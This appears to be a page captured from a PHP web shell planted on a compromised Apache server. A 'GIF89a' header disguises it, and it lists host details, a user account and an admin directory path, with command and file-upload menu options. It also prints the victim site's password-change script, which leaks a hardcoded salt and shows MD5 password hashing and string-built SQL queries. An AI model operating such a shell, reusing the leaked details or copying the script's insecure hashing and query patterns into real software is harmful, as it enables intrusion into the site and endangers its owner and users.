GIF89a;
Server IP : 172.26.0.195 / Your IP : 18.118.37.85 Web Server : Apache System : Linux 43-205-77-33.cprapid.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64 User : jnclnmuac ( 1026) PHP Version : 8.0.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/jnclnmuac/public_html/web/assets/font-awesome/../owl-carousel/../../assets/../admin/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php session_start(); if($_SESSION['user']=="") { session_destroy(); header("Location:index.php?msg=3"); } $email=$_SESSION['user']; include("connection.php"); $op_text = $_POST['op']; $salt = "softproindia2022"; $salted_pass = $op_text.$salt; $op = md5($salted_pass); //echo $op; $np_text=$_POST['np']; $salted_np=$np_text.$salt; $np = md5($salted_np); //echo $np; $cnp_text=$_POST['cnp']; $salted_cnp=$cnp_text.$salt; $cnp = md5($salted_cnp); //echo $cnp; $query="select * from tbl_admin where email='$email'"; $res=mysqli_query($dbCon,$query); if($row=mysqli_fetch_array($res)) { $pp=$row['password']; //echo $pp; } if($op==$pp) { if($op==$np) { header("Location:change.php?flg=2"); } else if($np==$cnp) { $query2="update tbl_admin set password='$cnp' where email='$email'"; mysqli_query($dbCon,$query2); session_destroy(); header("Location:index.php?msg=4"); } else { header("Location:change.php?flg=3"); } } else { header("Location:change.php?flg=1"); } ?>